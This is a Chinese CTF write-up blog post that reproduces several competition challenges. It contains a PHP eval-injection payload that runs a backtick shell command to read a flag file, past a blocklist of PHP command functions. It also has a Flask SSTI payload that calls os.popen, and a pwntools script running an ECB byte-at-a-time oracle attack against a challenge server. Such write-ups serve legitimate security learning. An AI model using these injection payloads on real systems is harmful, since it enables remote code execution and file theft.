记一次比赛复现(代码片段)

Ocean:) Ocean:)     2023-01-04     663

关键词:

WEB

super_php

<?php
error_reporting(E_NOTICE);
highlight_file(__FILE__);
@session_start();
$username = @$_GET['username'];
if(!@isset($username['admin'])||$username['admin'] != @md5($_SESSION['username']))
die('error!');

else
if(isset($_GET['admin']))
       
    $admin = $_GET['admin'];
    $admin = addslashes($admin);

if(preg_match('/\\openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|file_put_contents|fwrite|curl|system|eval|assert|flag|passthru|exec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore([^]+)\\/i' , $admin))

die('error!');

if (intval($admin))
    
eval('"' .$admin .('"./hint.php"') .')";');



else

eval('$flag="' .$admin . '";');



?>

看一下第一个 if 判断,解读一下就是 username[admin] 存在,并且 username[admin] 等于 md5($_SESSION[‘username’])

一开始以为要伪造 session,毕竟 session 的值是不可以控制的,但是可以换一个思路来,就是让 md5($_SESSION[‘username’]) 的值为空,注意的是 md5 加密的工具是不能加密空的,但是 php 可以

<?
var_dump(md5(""));
?>
php test.php
C:\\Users\\q2723\\Desktop\\test.php:2:
string(32) "d41d8cd98f00b204e9800998ecf8427e"

这样就构造出来 payload 的前半部分,后边的就相对简单了,只要构造命令并闭合括号就可以

最终 payload

?username[admin]=d41d8cd98f00b204e9800998ecf8427e&admin=9$`cat%20/f???`;$require(

super_flask

上来就是个登录页面,既然是 flask ssti 那自然是标配了,首先需要找到注入点,使用 burp 抓登录包爆破密码

admin
123456

登录成功,在 /admin 注释找到提示

显然这就是了,简单 fuzz 下发现,两个 替换为

只要添加一对花括号就行了,flag 在 /tmp 目录下

% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /tmp/flag').read()"))%

MISC

sdnisc

一张 png 图片,试了 png 常见套路,无果

正确打开方式 Java 盲水印

图形化工具-不是很清楚而且需要调

命令行工具-下载链接

使用命令

 java -jar .\\BlindWatermark.jar decode -c .\\flag.png output.png

比较清楚

CRYPTO

#!/usr/bin/python
# -*- coding:utf-8 -*-
# author:nothing

import string, re, random
import os 
from hashlib import sha256
from binascii import unhexlify, hexlify
from pwn import *
from Crypto.Util.number import *

io = remote("101.34.215.5", 6666)

def passpow():
	msg = io.recvuntil(b"Give me XXXX:").strip().decode()
	bottom = re.findall(r"\\+(.*?)\\)",msg)[0]
	res = re.findall(r" == (.*?)\\n",msg)[0]
	print(res)
	while True:
		answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(4))
		cipher = sha256((answer + bottom).encode()).hexdigest()
		if cipher == res.strip():
			print(answer)
			io.sendline(answer)
			break

def solve_step_4(level, known):
	print "Level %s" % str(level)
	if(level == 16):
		return known
	records = []
	for i in range(256):
		io.recvuntil(b"Give me your choice: ")
		io.sendline("1")
		io.recvuntil("Give me your input (in hex): ")
		tmpstr = ('a'*(15-level) + known + chr(i)).encode('hex')
		io.sendline(tmpstr)
		io.recvuntil("encrypted msg: ")
		s = io.recvuntil("\\n")[:-1].decode()[:32]
		print "Process: %s/256 %s %s" % (str(i), tmpstr, s)
		records.append(s)
	io.recvuntil(b"Give me your choice: ")
	io.sendline("1")
	io.recvuntil("Give me your input (in hex): ")
	tmpstr = ('a'*(15-level)).encode('hex')
	io.sendline(tmpstr)
	io.recvuntil("encrypted msg: ")
	s = io.recvuntil("\\n")[:-1].decode()[:32]
	newknown = known + chr(records.index(s))
	print "==========================="
	print newknown.encode('hex')
	print "==========================="
	return solve_step_4(level+1, newknown)



if __name__ == '__main__':
	passpow()
	secret = solve_step_4(0,"")
	io.recvuntil(b"Give me your choice: ")
	io.sendline("2")
	io.recvuntil("Give me your secret: ")
	io.sendline(hexlify(secret))
	flag = io.recvuntil("\\n")[:-1].decode()
	print flag

狗头保命,人菜只能多复现。。。

安全学习记一次内网环境渗透(代码片段)

注意:本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用KaliLinux作为此次学习的攻击者机器。这里使用的技术仅用于学习目的,如果列出的技术... 查看详情

记一次java进程导致kubernetes节点cpu飙高的排查与解决(代码片段)

一、发现问题在一次系统上线后,我们发现某几个节点在长时间运行后会出现CPU持续飙升的问题,导致的结果就是Kubernetes集群的这个节点会把所在的Pod进行驱逐(调度);如果调度到同样问题的节点上,也会出现Pod一直起不来... 查看详情

记一次selectable的误用(代码片段)

####记一次Selectable的误用记一次selectable的误用,现有个UI层级结构如下图所示:其在场景中位置如下所示,可以看到Button是Panel的子物体,开始时Button是隐藏的,并且他们处于不同的位置:将这样的一个脚本挂在Panel上面,Button序列化为Panel... 查看详情

记一次返工(代码片段)

记一次返工作者:Grey时间:2018-05-12原文地址:http://www.cnblogs.com/greyzeng/p/9029530.html说明本周我经历了参加工作以来,最大的一次返工,这一周都是茶饭不思的感觉,特此记录一下,防止后续犯同样的错误。需求有一个Web系统X,... 查看详情

记一次springboot项目漏洞挖掘(代码片段)

前段时间的比赛将该cms作为了题目考察,这个cms的洞也被大佬们吃的差不多了,自己也就借此机会来浅浅测试下这个cms残余漏洞,并记录下这一整个流程,谨以此记给小白师傅们分享下思路,有错误的地方还望大佬们请以指正。... 查看详情

53记一次自定义classloader导致的metadataspaceoom(代码片段)

前言这是最近flink集群上面暴露出现的一个问题具体的细节原因就是flink上面提交任务的时候,自定义的classloader加载driver.jar然后导致metaspaceOOM由于这边的TaskManagermetadataspace配置相对较小(MaxMetaspaceSize配置为96M),然后导致出现了metada... 查看详情

53记一次自定义classloader导致的metadataspaceoom(代码片段)

前言这是最近flink集群上面暴露出现的一个问题具体的细节原因就是flink上面提交任务的时候,自定义的classloader加载driver.jar然后导致metaspaceOOM由于这边的TaskManagermetadataspace配置相对较小(MaxMetaspaceSize配置为96M),然后导致出现了metada... 查看详情

记一次es事故(代码片段)

从报警来看,业务报接口超时,同时es错误日志也会提示:Causedby:org.elasticsearch.common.util.concurrent.EsRejectedExecutionException:rejectedexecutionoforg.elasticsearch.transport.TcpTransport$RequestHandle 查看详情

others-记一次图床迁移过程(代码片段)

title:others-记一次图床迁移过程categories:Otherstags:[迁移,备份,图床]date:2021-12-2613:23:23comments:falsemathjax:truetoc:trueothers-记一次图床迁移过程前篇之前使用的是七牛云的图床,http请求有一定的免费流量,但是现在chrome浏览器里https网页内默... 查看详情

golang记一次datarace排查过程(代码片段)

golang记一次datarace排查过程背景datarace现场解决思路经验总结datarace在写并发代码时候经常遇到,相关基础概念的介绍可以参考之前一篇文章:golangdatarace竞态条件https://louyuting.blog.csdn.net/article/details/103606831这篇文章主要是... 查看详情

记一次基于zabbixsnmp监控实例(代码片段)

记一次基于zabbixsnmp监控实例系统环境[root@zabbix~]#cat/etc/redhat-releaseCentOSLinuxrelease7.7.1908(Core)[root@zabbix~]#uname-r3.10.0-1062.18.1.el7.x86_64[root@zabbix~]#zabbix_server-Vzabbix_server(Zabbix)4.0.19防火 查看详情

记一次返工之后记(代码片段)

记一次返工之后记作者:Grey时间:2018-11-25原文地址:https://www.cnblogs.com/greyzeng/p/10018247.html说明之前做的功能,又有新的需求了,原先的需求是支持某个类型的待办审批,现在是要支持系统所有类型待办的审批,虽然之前的代码写... 查看详情

记一次hashmap面试(代码片段)

记一次HashMap面试从网上已经身边同事朋友的面试情况来看,面试HashMap几乎是必问的,网上也很多类似的文章,但是真面起来,发现还是有很多点可以深抠的。本篇就结合一次面试经历说一下之前没有注意的点吧。HashMap的底层结... 查看详情

记一次servlet中getattribute的错误.(代码片段)

packagecom.ykmimi.order.servlet;importjava.io.IOException;importjavax.servlet.RequestDispatcher;importjavax.servlet.ServletException;importjavax.servlet.annotation.WebServlet;importjavax.servlet.http. 查看详情

记一次springboot搭建过程(代码片段)

遇到的问题如下:1.SpringBoot正常启动后,访问Controller报404问题描述:springboot正常启动,通过http://localhost:8000/hello/first访问,一直报404原因:在搭建完项目之后,Application类是放在com.example.hello的包下面,而Controller类是放置在com.e... 查看详情

记一次unitybrust入门(代码片段)

什么是BrustBurst是Unity出的一个Package,基于LLVM,通过将IL代码转译成原生代码提升执行速度如何用只能执行Jobs,不能执行Monobehaviour需要并行的计算用Jobs该找MonoBehaviour添加[BurstCompile]使用Unity.Mathmatics代替可能的数学计... 查看详情

记一次浅拷贝的错误(代码片段)

1importcopy2classSolution(object):3defsubsets(self,nums):4"""5:typenums:List[int]6:rtype:List[List[int]]7"""8result=[[]]9self.generate(0,[],result,nums)10returnresult11defgenerate(self,k,item,result,n 查看详情

02记一次netty内存泄露(代码片段)

前言最近在一个jt809的项目中碰到了这样的一个问题 最开始对方传输给我们的车辆数量不多的情况下,系统一直很稳健 但是由于之前又对接了大量的车辆,然后之后出现了一次OutOfDirectMemoryError,然后当时临时重启了一下 然后过了... 查看详情